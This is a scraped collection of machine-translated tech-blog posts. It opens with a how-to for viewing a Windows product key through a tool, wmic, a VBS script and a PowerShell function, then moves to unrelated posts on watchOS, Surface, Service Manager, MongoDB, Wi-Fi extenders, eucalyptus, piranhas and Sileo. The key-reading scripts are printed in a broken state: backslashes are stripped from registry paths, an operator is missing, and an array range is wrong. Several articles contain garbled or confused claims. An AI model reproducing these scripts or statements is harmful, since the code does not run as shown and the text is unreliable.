WinProdKeyFinder tool Step 1: Download the tool to view the Product key from GitHub\u0026nbsp;here\u0026nbsp;.\nClick on the .zip file to download.\n  Step 2: Extract and click on the folder (1)  =\u0026gt; open the application WinProdKeyFind (2) .\n  Then the license code on your computer will show up.\n  Method 2. Use Command Prompt Step 1: Go to Search (1) =\u0026gt; find cmd (2) =\u0026gt; Run as administrator (3) .\n  Step 2: Enter the following command and press Enter.\nwmic path softwarelicensingservice get OA3xOriginalProductKey\n  Then your Windows license key will appear in the section below the command.\n  Method 3. Use VBS code to view key Step 1: Right-click on Desktop =\u0026gt; select New (1) =\u0026gt; Text Document (2) .\n  Step 2: You copy the following code into Notepad.\nSet WshShell = CreateObject(\"WScript.Shell\") MsgBox ConvertToKey(WshShell.RegRead(\"HKLMSOFTWAREMicrosoftWindows NTCurrentVersionDigitalProductId\")) Function ConvertToKey(Key) Const KeyOffset = 52 i = 28 Chars = \"BCDFGHJKMPQRTVWXY2346789\" Do Cur = 0 x = 14 Do Cur = Cur * 256 Cur = Key(x + KeyOffset) + Cur Key(x + KeyOffset) = (Cur 24) And 255 Cur = Cur Mod 24 x = x -1 Loop While x \u0026gt;= 0 i = i -1 KeyOutput = Mid(Chars, Cur + 1, 1) \u0026amp; KeyOutput If (((29 - i) Mod 6) = 0) And (i -1) Then i = i -1 KeyOutput = \"-\" \u0026amp; KeyOutput End If Loop While i \u0026gt;= 0 ConvertToKey = KeyOutput End Function Next, you click on File (1) =\u0026gt; Save As (2) .\n  Step 3: Select where to save the file (1) =\u0026gt; set All files (2)  =\u0026gt; name the file with the .vbs extension (3) =\u0026gt; Save (4) .\n  Step 4: Open the file you just created and the Product key information will be displayed in the popup.\n  Method 4. Use the executable command in Windows Power Shell Step 1: Right-click on Desktop =\u0026gt; New (1) =\u0026gt; Text Document (2) .\n  Step 2: Paste the following command into Notepad.\nfunction Get-WindowsKey { ## function to retrieve the Windows Product Key from any PC ## by Jakob Bindslet (jakob@bindslet.dk) param ($targets = \".\") $hklm = 2147483650 $regPath = \"SoftwareMicrosoftWindows NTCurrentVersion\" $regValue = \"DigitalProductId\" Foreach ($target in $targets) { $productKey = $null $win32os = $null $wmi = [WMIClass]\"$targetrootdefault:stdRegProv\" $data = $wmi.GetBinaryValue($hklm,$regPath,$regValue) $binArray = ($data.uValue)[52.66] $charsArray = \"B\",\"C\",\"D\",\"F\",\"G\",\"H\",\"J\",\"K\",\"M\",\"P\",\"Q\",\"R\",\"T\",\"V\",\"W\",\"X\",\"Y\",\"2\",\"3\",\"4\",\"6\",\"7\",\"8\",\"9\" ## decrypt base24 encoded binary data For ($i = 24; $i -ge 0; $i--) { $k = 0 For ($j = 14; $j -ge 0; $j--) { $k = $k * 256 -bxor $binArray[$j] $binArray[$j] = [math]::truncate($k / 24) $k = $k % 24 } $productKey = $charsArray[$k] + $productKey If (($i % 5 -eq 0) -and ($i -ne 0)) { $productKey = \"-\" + $productKey } } $win32os = Get-WmiObject Win32_OperatingSystem -computer $target $obj = New-Object Object $obj | Add-Member Noteproperty Computer -value $target $obj | Add-Member Noteproperty Caption -value $win32os.Caption $obj | Add-Member Noteproperty CSDVersion -value $win32os.CSDVersion $obj | Add-Member Noteproperty OSArch -value $win32os.OSArchitecture $obj | Add-Member Noteproperty BuildNumber -value $win32os.BuildNumber $obj | Add-Member Noteproperty RegisteredTo -value $win32os.RegisteredUser $obj | Add-Member Noteproperty ProductID -value $win32os.SerialNumber $obj | Add-Member Noteproperty ProductKey -value $productkey $obj } } Next, go to File (1) =\u0026gt; Save As… (2) .\n  Step 3: You choose where to save the file (1) =\u0026gt; select All Files (2) =\u0026gt; name with the extension .ps1 (3) =\u0026gt; Save (4) .\n  Step 4: You click on Search (1) =\u0026gt; search keyword powers (2) =\u0026gt; Run as administrator (3) .\n  Step 5: You execute the following command and Enter.\nSet-ExecutionPolicy RemoteSigned\n  Press Y to accept the setting change.\n  Step 6: Right-click on the PowerShell file (1) just created in Step 2,3 =\u0026gt; Properties (2) .\n  Next, you remember the path (3) and filename (4) to insert in the next command in PowerShell.\n  Step 7: Go back to PowerShell and execute the following command.\nImport-Module ; Get-WindowsKey Where is the path to the file you got in Step 6 .   Step 8: After executing the command, you can see the ProductKey shown below.\n  With the instructions in the article, you can check the key on Windows 10 easily. You can follow the methods above for older versions of Windows like Windows 8.1 / 7 / Vista.\nProduct Key ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRuvNGom66bpGK4psWMqKVmr5mjsbDD0mZoaQ%3D%3D\n","link":"/post/how-to-view-product-key-on-windows-10/","section":"post","tags":null,"title":"How to view Product Key on Windows 10"},{"body":" Writing in Hindi on Microsoft Word is possible with just a little set-up. You can either download Microsoft's free software known as the 'Microsoft Indic Language Input Tool', or you can download and install a Hindi font and choose it when...\nUsing a Font  Search online for an Indian font that allows Hindi characters. Download it.\n  Install the fonton your computer.\n  Select the chosen font in Word, and start typing.\n  Jessica Tanner Update 09 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecinZKGhnpm2brXNZqSim6KkwLCy02auqKqU\n","link":"/post/how-to-write-in-hindi-in-microsoft-word/","section":"post","tags":null,"title":"How to Write in Hindi in Microsoft Word"},{"body":"Through developer editions, Apple finally announced the first Public beta version of watchOS7 for smartwatch users - the Apple Watch. A few steps below, will make it easy for you to set up to experience new features on your watch.\n Updated Apple Watch models with watchOS 7: Apple Watch Series 3 Apple Watch Series 4 Apple Watch Series 5 Things to do before you start Before installing a new operating system, you should back up your watch. This is important in case something goes wrong.\nCheck that your iPhone must be running the latest version of iOS. Your iPhone and Apple Watch must be close together for them to be in range to be able to perform the watchOS 7 update. Apple Watch must be on the update and have at least 50% battery life. This situation should be maintained until the update is complete. Additionally, iPhone must be connected to Wi-Fi.\nNote: You can't go back to watchOS 6, and if something happens to your device, you'll have to contact an Apple Authorized Service Center. Besides, the Apple Watch backup is in the iPhone backup.\n\u0026nbsp;\nSteps to update watchOS 7 Public beta Step 1 : Visit Apple's beta testing website.\n Step 2 : Click \"Sign up\" or \"Sign in with your Apple ID\".\n  Step 3 : After logging in, click on the button \"Get started\" and in the page \"Instructions for Public Beta\" choose the blue text \"Register your device\". Then you select \"Download configuration\".\nNote : If you download it from a laptop or PC, you need to transfer the file to your iPhone via iTunes software. If you download directly on the phone, we continue to step 4.\n  Step 4 : Make sure your iPhone is paired with Apple Watch. Once the update is downloaded, a notification will appear on your iPhone.\nGo to Settings and select \"General\", then tap \"Profile \u0026amp; Device Management\", tap \"Profile\" then select \"Settings\", then follow the instructions on the screen that appears.\n Your Apple Watch will automatically receive the latest Public Beta software if you have enabled \"Automatic Updates\" in its \"Software Update\" settings. To install it manually, go to the Apple Watch app on iPhone, tap on the \"My Watch\" tab, then go to \"General\" and select \"Software Updates\".\n Once installation is complete, restart your watch and enjoy the latest Apple Watch features on watchOS 7.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWatoJmutbXNoGSwmaSYtbC%2FjHBkqa2SobakecGeq5plpKR6tbTEZqOarJWowW6tz6mjnmWnlsGktA%3D%3D\n","link":"/post/instructions-for-updating-watchos-7-public-beta-to-the-latest-apple-watch/","section":"post","tags":null,"title":"Instructions for updating watchOS 7 Public beta to the latest Apple Watch"},{"body":"Microsoft has just launched the new Surface Pro X, which is rated as the most beautiful Surface it has ever created. Surface Pro X is improved on the screen, equipped with Qualcomm SQ1 chip.\nSurface Pro X is designed a little differently than Surface Pro 7. According to Tom Warren of The Verge, the screen border of the Surface Pro X is made thinner.\n  The first special feature on the Surface Pro X is that the Mini DisplayPort has been replaced by two USB-C connectors. The 3.5mm headphone jack and the USB-A port have also been removed.\n  Surface Pro X is equipped with 13-inch screen, 2,880 x 1,920px resolution, 3: 2 aspect ratio, 267ppi pixel density, 1400: 1 contrast ratio. This model is only 5.3mm thin and weighs 774 grams.\n  The second special feature of this product is the SQ1 chip series created by Microsoft and Qualcomm. According to Microsoft, it has a built-in AI accelerator, 7W power consumption, performance ratio and 3 times more power consumption than Surface Pro 6. Surface Pro X has a longer battery life , up to 13 hours. It can achieve 80% battery after an hour of charging. Surface Pro X supports fast charging.\n  The Surface Pro X is equipped with a Type Cover keyboard that folds up to lift an angle that makes it easier to type, with more area for users to insert and charge the pen. When the pen is removed, a menu will automatically pop up to help you quickly perform drawing and writing operations.\n  In addition to Surface Pro X, Microsoft also introduced the Surface Pro 7 with a 12.3-inch screen, 10th-generation Intel Core i3, i5, i7 chips, USB-C connector, 4 GB RAM and 128 GB memory. .\n  The Surface Pro 7 costs $ 750, and it will go on sale on October 22. The Surface Pro X costs $ 1,000, and it hits shelves on November 5. Type Cover for Surface Pro X costs $ 140, Slim Pen costs $ 145, and Type Cover for Surface Pro 7 sells for $ 130.\n  Microsoft suddenly launched Surface Duo, a dual-screen phone running Android ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrmiwc2cn56rXajCs7LAnJxmqKKkerl5wKukZqmllrmku8ymZKypYWKwqbXPZquhoZ5irq%2BwjJucmq2knrO2uIypqaKblZl6p77OpmRycWk%3D\n","link":"/post/microsoft-launches-surface-pro-x-arm-qualcomm-sq1-chip-thin-and-beautiful-priced-from-999/","section":"post","tags":null,"title":"Microsoft launches Surface Pro X, ARM Qualcomm SQ1 Chip, thin and beautiful, priced from $ 999"},{"body":"In this series we will show you some of the features of Service Manger and will provide a detailed description of the system requirements .\nThe latest entry of Microsoft's System Center line, Service Manager further enriches ITIL / MOF architecture of System Center because it provides centralized management of issues and easy access. Service Manager is integrated within Configuration Manager, Operations Manager and Active Directory, allowing working as a centralized information store. In this series, we will show you how to install and use Service Manager. Part 1 will provide you with information about Service Manager features as well as hardware and software conditions.\nService Manager components The Service Manager product has several separate sub-components, each of which provides important services to create a product. Specifically in Service Manager there are 6 separate components:\nService Manager management server - This is the main part of Service Manager installation. Service Manager database - Database server is what makes the global work today. In your Service Manager environment, the database contains many different items, including: - Item configuration throughout the organization - Events record - Requests for change - Configure Service Manager environment Data warehouse management server - On this system you will see the data warehouse server. Data warehouse database - Inability to report there is no way to determine the effectiveness of the Service Manager environment. The data warehouse database will manage long-term storage as well as reporting needs. Service Manager console - This console allows helpers and administrators to work with ports to interact with the Service Manager environment, it is also a way to manage events, tasks and requirements. change. Self-service portal - One of the best ways to reduce IT load is to allow users to handle some of their own tasks, such as being able to reset the password, provide the user. knowledge so they can find solutions to their own problems. System requirements System Center Service Manager has a number of hardware and software requirements required for deployment.\nHardware requirements Like most products of the System Center series, Service Manager hardware requirements depend on the level of support the product provides. At a minimum, if you want to deploy all Service Manager components, you need at least two servers. It should be noted that it is not possible to install the data warehouse component on the same management server server; These two roles are not compatible.\nIf the hardware is not strong enough and is running Service Manager in a relatively small environment, you can install everything to a physical server and then deploy the data warehouse component inside the virtual machine on the same physical hardware. there. Microsoft's registration policies allow you to save a lot of money without having to buy two separate servers.\nAs Microsoft's instructions, with average deployments, you need to have two servers. The first machine will play the role:\nService Manager management server Service Manager database Second server:\nData warehouse management server Data warehouse database With large installations - serving thousands of users - you need to deploy Service Manager for four servers.\nBelow we outline Microsoft recommendations regarding Service Manager deployment.\nRole Processor\nRAM\nDisk\nService Manager database\nDual Quad Core 2.66 GHz\n8 GB\n80 GB\nService Manager management server\nDual Quad Core 2.66 GHz\n8 GB\n10 GB\nService Manager console\n2.0 GHz Dual-Core\n2 GB\n10 GB\nData warehouse management server\nDual-Core 2.66 GHz\n8 GB\n10 GB\nData warehouse database\nDual Quad-core 2.66 GHz\n8 GB\n400 GB\nSelf-service portal\nDual-core 2.66 GHz\n8 GB\n10 GB\nIn this article, we deploy the Service Manager environment on two virtual machines, each with 2 GB of RAM and a virtual processor.\nSoftware requirements Before starting work with Service Manager, there are a few things you need to know about the software it requires. First, all Service Manager components, except the service management interface, require a 64-bit version of Windows Server 2008 or Windows Server 2008 R2. Ideally, you need to install the latest service pack for each version.\nFor the database role, you need to deploy a 64-bit version of SQL Server 2008 SP1. When done, make sure the SQL Server Reporting Services role is installed.\nFor ease, you should deploy both the .NET Framework 3.5 and PowerShell 1.0 or 2.0 for each machine to be able to install Service Manager components.\nIn this section, we will not introduce the requirements of self-service portal because we intend to introduce this component in a different part of the series.\nTo avoid conflicts, before deploying Service Manager, you should remove the Operations Manager agents that are installed on the Service Manager system. When Service Manager is deployed, you can reinstall Operations Manager agents.\nAbout SQL Server When installing SQL Server 2008 SP1, you need to follow some specific requirements:\nNeed to install SQL Full-Text Service. During the installation process, you need to install and configure the Reporting Services component in the native mode default configuration . SQL Server must be installed in order to use a database that is not case sensitive. Do not use the default SQL because this will make Service Manager support many other languages. Configure the SQL Server executable account as a Local System account. We list four images below to show the installation process of SQL Server 2008.\n  Figure 1\nFigure 1 shows the components you need to select when installing SQL Server.\n  Figure 2\nWith Service Manager, configure SQL Server to use the Local System account.\n  Figure 3\nConfigure SQL Server with Latin1_General_100 collation.\n  Figure 4\nWith Reporting Services, select the option Install the native mode configuration.\nActive Directory task The last step in the pre-deployment process, you need to do a bit of work with Active Directory. Create an Active Directory group for users administering Active Directory for both: data warehouse and Service Manager management team. We will use the group named SM-Admins as on Microsoft documents.\nIn Part 2 of this series, we will introduce the installation and configuration of Service Manager.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsC6v9OepGablaPBpr6MrJyrrpmYsm65wKeYoJ2iYr2ivtNmaGahnqm%2FsLDUnKuip55irq%2BwjKmjmqaenruo\n","link":"/post/microsoft-system-center-service-manager/","section":"post","tags":null,"title":"Microsoft System Center Service Manager"},{"body":"You have seen the use of MongoDB ObjectId in previous chapters. In this chapter, we will understand the structure of ObjectId.\nAn ObjectId is a BSON type (12 bytes) with the following structure:\nThe first 4 bytes represent the number of seconds from UNIX Epoch.\nThe next 3 bytes is the machine id .\nThe next 2 bytes are the process id .\nAnd the last 3 bytes are a random counting value .\nMongoDB uses ObjectId as the default value of the _id field for each Document that is created while creating any Document. The complex combination of ObjectId makes all _id fields unique.\nCreate a new ObjectId in MongoDB To create a new ObjectId, you use:\n\u0026gt; newObjectId = ObjectId ()  The above command returns the following unique created id:\nObjectId ( \"5349b4ddd2781d08c09890f3\" )  In MongoDB, instead of creating ObjectId, you can also provide an ID of 12 bytes as follows:\n\u0026gt; myObjectId = ObjectId ( \"5349b4ddd2781d08c09890f4\" )  Get the Timestamp of a Document By default, _id ObjectId stores a Timestamp of 4 bytes in length, so in most cases, you do not need to store the creation time of any Document. You can get the creation time of a Document using the getTimestamp method:\n\u0026gt; ObjectId ( \"5349b4ddd2781d08c09890f4\" ). getTimestamp ()  This command will return the creation time of this Document in ISO Date format:\nISODate ( \"2014-04-12T21:49:17Z\" )  Convert ObjectId into String in MongoDB In some cases, you may need the value of ObjectId in string format. To convert ObjectId into a string, you use:\n\u0026gt; newObjectId . str  The above code will return Guid's string format:\n5349b4ddd2781d08c09890f3  According to Tutorialspoint\nPrevious article: Limitations of index in MongoDB\nNext post: Map Reduce in MongoDB\nncG1vNJzZmismaXArq3KnmWcp51kvKO2xJyropxdnrtuuc6nnqickg%3D%3D\n","link":"/post/objectid-in-mongodb/","section":"post","tags":null,"title":"ObjectId in MongoDB"},{"body":"In Vietnam, people often plant a number of ornamental plants in the house with the meaning of bringing a wealth to the family such as: needle of the needle (money needle), perennial tree, sesame tree . But yes a tree exists even in Vietnam but does not grow money, but it emerges . gold! It is an eucalyptus tree , also called a message .\n  Eucalyptus - a tree that grows yellow\nTree grows gold Eucalyptus (Eucalyptus) is a genus of flowering plants in the family Dao kim nuong - native species of Australian origin. In Vietnam eucalyptus is quite familiar to people because it is often grown quite a lot to extract essential oils for eucalyptus oil and wood.\nIn 2013, the Australian scientific community published a shocking discovery about this plant, which is on leaves containing gold. Because the root pile can be plugged up to 40m to find water when growing in their arid areas. If the roots reach the groundwater near the gold mines, it will attract the gold crystals.\n  Because gold is not a toxic metal for plant life, eucalyptus has a mechanism to put gold on the ends of plants, such as leaves, to minimize toxic biochemical reactions.\nExperts have tested growing eucalyptus in soil containing gold crystals and comparing eucalyptus leaves growing near a Western Australia gold mine, with plants growing 800m away.\nAs a result, inside the leaves contain gold crystals about 8 micrometres in size.\n  Why don't we think of gold from here Because even when eucalyptus is planted on a gold mine, the ratio of gold in the leaves is only about . 46 parts per billion, or about 0.000005% by weight of the leaves. This means that even if you have 500 eucalyptus trees, you will be able to create a small ring.\n  The number of gold in 500 eucalyptus trees just barely cast 1 ring\nDon't be disappointed, though, because even though they don't make much gold, they mean a lot to the environment around us .\nBecause the process of finding gold mines takes a lot of time, money and is very harmful to the environment. Thanks to eucalyptus trees, we have a less expensive, highly effective method and minimize the negative impacts on the environment.\nncG1vNJzZmismaXArq3KnmWcp51kwLW%2BwKeenmWjpbKktcSsZKieXaW5orrTrGSgqp%2Bserqxy6WmsGWinrSpwIyipWaumZrBr63M\n","link":"/post/strange-species-of-plants-grow-yellow-right-in-vietnam/","section":"post","tags":null,"title":"Strange species of plants grow yellow right in Vietnam"},{"body":"Imagine that you are happy to transmit your favorite podcast, play online games or FaceTime chat, you encounter a dead Wi-Fi zone and then everything stops.Other rooms in the house receive very good Wi-Fi signals, but for some reason, Wi-Fi only doesn't have access to the device where you want to use it.When other troubleshooting steps don't improve your connection, a Wi-Fi extender device may be the cure for the problem you're having.Today's article will introduce you to the best 10 Wi-Fi extenders you can buy at the moment.\nThe best 10 Wi-Fi Extender today Wi-Fi extender NETGEAR EX3700 (AC750) Netgear Orbi Home Mesh Wi-Fi System NETGEAR EX6200 Wi-Fi Range Extender (AC1200) NETGEAR Nighthawk X4 AC2200 WiFi Range Extender (EX7300) TP-Link AC1200 (RE305) D-Link DAP-1520 Wi-Fi Range Extender (AC750) Netgear Nighthawk X6 AC2200 Wi-Fi Mesh Extender Google Wi-Fi TP-Link AC750 Dual-Band Wi-Fi Range Extender (RE200) D-Link DAP-1650 Wi-Fi Range Extender (AC1200) Wi-Fi extender NETGEAR EX3700 (AC750)   Wi-Fi NetGEAR EX3700 extender is very low cost and is plugged directly into a wall outlet. The device uses dual band and is compatible with Wireless-AC technology (the latest wireless standard). It provides throughput of up to 750Mbps.\nThe EX3700 has two external antennas to enhance Wi-Fi coverage, as well as the option to create new Wi-Fi hotspots or hotspots via wired Gigabit Ethernet ports. This is ideal if you want to create a private network for guests. NETGEAR also includes the Wi-Fi Analytics application, which allows you to assess your Wi-Fi signal strength, check its status or determine which channels are in a 'crowded' state.\nSome additional features may not be very relevant, but the fact that all of these features are integrated into a relatively inexpensive device like the NETGEAR EX3700 suggests that it is a better option than it is for D-Link DAP-1520 competitor. Buy the NETGEAR EX3700 if you want your budget to be a bit more comfortable.\nNetgear Orbi Home Mesh Wi-Fi System   As a mesh network system at an affordable price, Orbi offers three high, circular devices for about $ 300 (approximately 7,000,000 VND). What makes this system even more unique is that Netgear provides 3-band flexible connectivity. Netgear uses a separate backchannel network for the connected router, avoiding any congestion on the other two bands. NETGEAR also promises wide coverage up to 465 square meters, with speeds up to 1.2Gbps for all utilities. That means there's a lot of bandwidth for Netflix, online gaming and video calls.\nEach satellite device connected to the main router, making layout more like the wheel and spokes model than the mesh network as usual, but Netgear said it works on firmware updates to allow all Satellite devices connected together. Each device comes with 4 Ethernet ports, making them ideal for connecting wired devices such as printers and many other devices. In addition, easy and intuitive setup via mobile application or web browser is also a huge plus. You can easily see the status of the device with blue (good), orange (medium) or red (not connected) status lights on each device.\nNETGEAR EX6200 Wi-Fi Range Extender (AC1200)   If you need a Wi-Fi Extender device, the Netgear EX6200 will be the best choice for most situations. It is a powerful, flexible and affordable dual band extender. It supports the latest Wireless-AC standard and can act as a second Wi-Fi hotspot. It is important that any Wi-Fi Extender you purchase has dual band functionality (for the reasons mentioned in the introduction), which means it can be broadcast on both the 2.4GHz and 5GHz bands. The EX6200 is the same. It works on both Wi-Fi bands and provides throughput of up to 1200Mbps. It has 5 Gigabit Ethernet ports, significantly faster than the Fast Ethernet standard. This allows the EX6200 to act as a wired access point (quite fast). It also includes a dual-core processor for optimal performance, as well as high power amplifiers and two 5dBi antennas with high gain. The lowest price for this Wi-Fi extender is $ 95 (about VND 2,200,000).\nAll of this will extend the range of the home router to a few hundred square meters. Both the home and professional reviews support this idea, making the NETGEAR EX6200 one of the best Wi-Fi extenders on the market today.\nNETGEAR Nighthawk X4 AC2200 WiFi Range Extender (EX7300)   NETGEAR Nighthawk X4 AC2200 WiFi Range Extender provides Multi-User Multiple Input technology, Multiple Output (MU-MIMO) for a convenient extender device. That technology allows it to communicate with multiple devices at the same time, meaning the whole family can stream heavy content without lag.\nLike all other options on this list, this is a dual band extender that can reach speeds of up to 450Mbps on the 2.4GHz band and up to 1.733Mbps on the 5GHz band. Most importantly, it supports beamforming technology, sending data directly to client devices instead of using a wide spectrum. The size of this device is quite large (16 x 8 x 4cm) but it has an internal antenna instead of an external antenna like other devices. Setting up the Nighthawk X4 AC2200 is also quite simple, so you can connect to the Internet better in just minutes.\nTP-Link AC1200 (RE305)   It may not be the fastest extender at close range, but the RE305 dual band is one of the best extenders for long range. Its two bands run at 2.4GHz (up to 300Mbps) + 5GHz (up to 867Mbps) and it has a Fast Ethernet port that allows you to connect to a wired device. That will help boost the Wi-Fi signal to match your wishes.\nThe most accurate word to describe RE305 is \"cute\". It is white with rounded edges and two short antennas. It has three LEDs on the front indicating whether the device is properly connected. This makes the device setup very simple. If you have any concerns, the good news is that the device has a warranty period of up to 2 years plus 24/7 technical support.\nD-Link DAP-1520 Wi-Fi Range Extender (AC750)   The D-Link DAP-1520 dual band can be plugged into any wall outlet and extends the coverage of the router just by pressing the button. It has Wireless-AC technology with a capacity of up to 750Mbps (300Mbps on 2.4GHz and 433Mbps on 5GHz). You can also save and restore device settings (ideal for power outages or device reset to factory settings) and monitor traffic on your network. Its size is quite compact, easy to install, cheap and according to most reviews, it provides impressive powerful wireless signals.\nHowever, when you accept a Wi-Fi extender that matches a wall outlet, you sacrifice some features that some users find indispensable. For example, there is no Ethernet, USB or audio input and no network forwarding function.\nThis is a reliable, affordable utility for expanding basic Wi-Fi signals, suitable for those with limited technical knowledge. Buy the DAP-1520 if you want a simple, not too fancy Wi-Fi extender.\nNetgear Nighthawk X6 AC2200 Wi-Fi Mesh Extender   The X6 AC2200 is the latest Wi-Fi extender in Netgear's Nighthawk line, and like the usual Nighthawk collection device, it does its job very well. However, this model includes some great new features for those who want to increase their home Wi-Fi coverage. First of all, it has smart roaming technology. This technology automatically connects your mobile device to any of the strongest Wi-Fi connection points, without lag. It is capable of pairing with the new FastLane3 technology, establishing a strong, independent connection point for the main router (but not dividing signals for strange devices). And of course, the fast speed gives you 2.2Gbps on the 5GHz band. The X6 AC2200 has the latest Nighthawk triband system, which is easily controlled by a standalone mobile application. This extender device works with any brand Wi-Fi router.\nGoogle Wi-Fi   If you want to start with mesh networks but don't want to get into trouble with an expensive, confusing router and additional extender equipment, you may want to consider the Google Wi-Fi option. It has three separate white circle devices, similar to the size and shape of the Echo Dot on Amazon. Each of the three small devices can cover 139 square meters, providing you with a total area of ​​up to 418 square meters, enough for a reliable Wi-Fi mesh network.\nAlthough they do not have physical ports like some of the other extenders on this list, making it impossible to connect other wired devices, it is easy to use and the setup is quite simple, the price is cheap. reasonable. All of these factors make Google Wi-Fi a great candidate when used for the entire home or just an apartment. Each device is its own router. You can connect any of the three utilities to the modem of your Internet provider and the other two will act as extenders. They run on four-core ARM CPUs with 512MB of RAM and 4GB of eMMC flash memory. Google Wi-Fi is proud to own both 802.11ac and 802.11s (mesh) technologies along with a Bluetooth base station. They use both 2.4GHz and 5GHz bands. However, you can't choose which device to connect to, but Google's beamforming technology will ensure the best signal on each band.\nEasy to set up is the key for all devices like this and Google provides a great visual application to manage your network, allowing you to forward ports, set up Wi-Fi for guests and check his speed. Google Wi-Fi may be the best way to get a mesh network quickly, at a relatively reasonable cost.\nTP-Link AC750 Dual-Band Wi-Fi Range Extender (RE200)   Seriously, sometimes what's simple is what's best. If you're not looking for anything fancy, don't want to dig into the configuration settings and simply want to plug the extender into a wall outlet, the TP-Link AC750 is for you. It may not be the fastest Wi-Fi extender, but it is extremely cheap, easy to install and provides 100Mbps wired Ethernet ports for any wired device that you may need to physically connect to the network (like a computer). print old life network for example).\nAmazon reviewers have learned about this tiny utility and claim it can boost the signal for any home Wi-Fi network. For less than $ 30 (VND 690,000), it is definitely an option worth a try. If necessary, buy 2 or more devices and your home Wi-Fi signal will become more reliable. You can use the TP-Link AC750 to extend your Wi-Fi signal to smart Alexa, Google Home, light bulbs and WeMo / TP-Link plugs, mobile devices, tablets, game consoles and more. It works with any standard router and gateway you have. There is even High-Speed mode , providing dual band speeds up to 750Mbps.\nThere is a green smart signal indicator when you find the optimal position to plug in the device. Once you're set up (on a Mac, PC or Linux), you can move it to any other location in the range without setting up a second time.\nD-Link DAP-1650 Wi-Fi Range Extender (AC1200)   If you're looking for a stylish, fast and powerful Wi-Fi extender, the D-Link DAP-1650 is definitely on your list. Costing less than $ 70 (VND 1,600,000), this extender provides a dual-band Wireless-AC connection and looks great wherever you place it. It also has 4 Gigabit Ethernet ports, ideal for setting up alongside smart TVs, wired PCs or wireless printers.\nUsers find that the setup is very simple, especially with the one-touch Wi-Fi Protected setting and the media server option enabled. The DAAP-1650 is compatible with any wireless standard and provides backward compatibility with 802.11n, b, g and a, WPA or WPA2 security. Although it connects back to your router on the same band used (there is a possibility of some network congestion), this may not be a problem for your specific network setup. . The 5GHz band provides 867Mbps throughput, while the 2.4GHz band provides 300Mbps throughput. Its design is also quite amazing, without any unsightly antennas on the stylish black cylindrical device.\nSee more:\n10 best mesh Wi-Fi network systems 6 best Wifi wave-enabled devices, Wifi wave amplifiers Top 7 cheap Wifi routers ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdZn1uw8ifoGadqKmyr7DEq2Stp5SWxg%3D%3D\n","link":"/post/the-best-10-wi-fi-extender-today/","section":"post","tags":null,"title":"The best 10 Wi-Fi Extender today"},{"body":"Piranha, the notorious fish in the Amazon River (Brazil) is known for its sharp teeth, extremely thirsty and crowded. They become the terror of many animals and humans. Hollywood filmmakers have created many of these scary fish horror movies, in common with the ability to clean bones of any living organism that falls into their territory.\n  The first to witness the Piranha's aggression was Theodore Roosevelt, when he and his team conducted an expedition down the \"mysterious river\" deep in the Amazon basin in 1912.\nThe trip started with 19 people, for many reasons such as illness, lack of food, drowning . only 16 people returned. Roosevelt himself also suffered from a serious foot injury, even showing signs of infection.\n  For Roosevelt, this was an unhappy but meaningful trip because he was the first North American politician to visit the Amazon. Here, he and his team were \"entertained\" by many native fishermen.\nAccording to Herbert R. Axelrod, a tropical fish researcher, the Amazon fishermen used a net of hundreds of starved piranhas into a 90m wide river area. After that, they pushed a sick old cow into the river. Roosevelt had witnessed the extremely scary scene, hundreds of fishes waving themselves at the bad cow. Just over 10 minutes later, the cow was only a white skeleton.\nRoosevelt was obsessed with the scene and he later described piranhas as the world's most aggressive fish in the book \"Through the Brazilian Wilderness\". He said: ' Even sharks often hunt only smaller than them. Piranhas are ready to attack any prey that is larger than them many times . \"\n  The sight of Roosevelt is real, and his descriptions in his book have made people obsessed with the fear of piranha for a long time. However, the researchers later revealed a startling fact, such fast-growing bulls of piranhas were humans. Those encircled piranhas are very aggressive and can attack prey very quickly because they are starved.\nIn fact, piranhas are carnivorous, their food varies from animals, insects, fish to their own. However, the human and animal skeletons of this fish have all died before. They attacked living creatures but they were mainly weak and slow old people who came to drink water.\n  A 2003 study found that there were very few cases of people being eaten by piranhas in history, at least 3 of them died before being attacked.\nUnlike many people's thoughts, piranhas do not really attack anything. If any creature unfortunately fell into the water, they only took a bite, not biting continuously. And these victims were only significantly scratched and not killed.\nPiranha fish do not consider human movement as a goal so even if you swim across a river with this fish, you can still ensure your safety.\nHowever, it is true that cases of humans suffering from Piranha 'asking for' a few fingers or legs in encounters are real, and the rate is increasing. The reason is that more and more dams appear on the Amazon River, this is not only the perfect environment for piranhas to come and reproduce, but also a favorite place for people to swim, making the encounter rate between people and fish also increased.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKmgq5mena60ecCrnGamn6l6or%2BMmp6gqpWowKrCxGaYrGWnmnq1tM6unqGsXam1psWMsJyrnV2irqy1zaBkraCVonq1tMRmpKirpGLBpr7Rop2yoZ6cerG4wKecrWWfo3q1tMRmp6WZnprB\n","link":"/post/the-piranhas-are-not-as-aggressive-as-we-thought-they-were-making-them-the-most-terrifying-planet-on-the-planet/","section":"post","tags":null,"title":"The Piranhas are not as aggressive as we thought they were, making them the 'most terrifying planet on the planet'."},{"body":"Coolstar recently launched the first public test of the Sileo app market to be built to replace Sydia's Cydia, after more than 5 months of development. Sileo supports installation on jailbroken devices with tools Electra and uns0ver. Users can download Sileo via Cydia.\nSome highlights of Sileo compared to Cydia:\nThe user interface is flat, clear and more modern. The source refresh process is almost instantaneous, faster than Cydia because it removes unnecessary or unavailable components. Support download with fast speed. Add some new items and news tab about iOS and jailbreak. .     Currently, Sileo is new in the testing phase so some unexpected errors may occur when using, some functions and features are still missing or unstable. In addition, currently can only buy tweaks via Dynastic archive.\nThe first test version of Sileo is compatible with: 11.0, 11.0.1, 11.0.2, 11.0.3, 11.1, 11.1.1, 11.1.2, 11.2, 11.2.1, 11.2.2, 11.2.5, 11.2.6, 11.3, 11.3.1, 11.4 Beta 1, 2 and 3.\nTo install Sileo test version, you need to access Cydia -\u0026gt; enter Sileo keyword to download.\nNote: The uns0ver device must add PixelOmer source before downloading Sileo to the device.\n    See more:\nThe popular Symbian operating system for a time suddenly had an update after half a decade Please register for Microsoft Edge experience using Chromium core Mint browser for Android, super light, fast speed and suitable for low profile smartphones 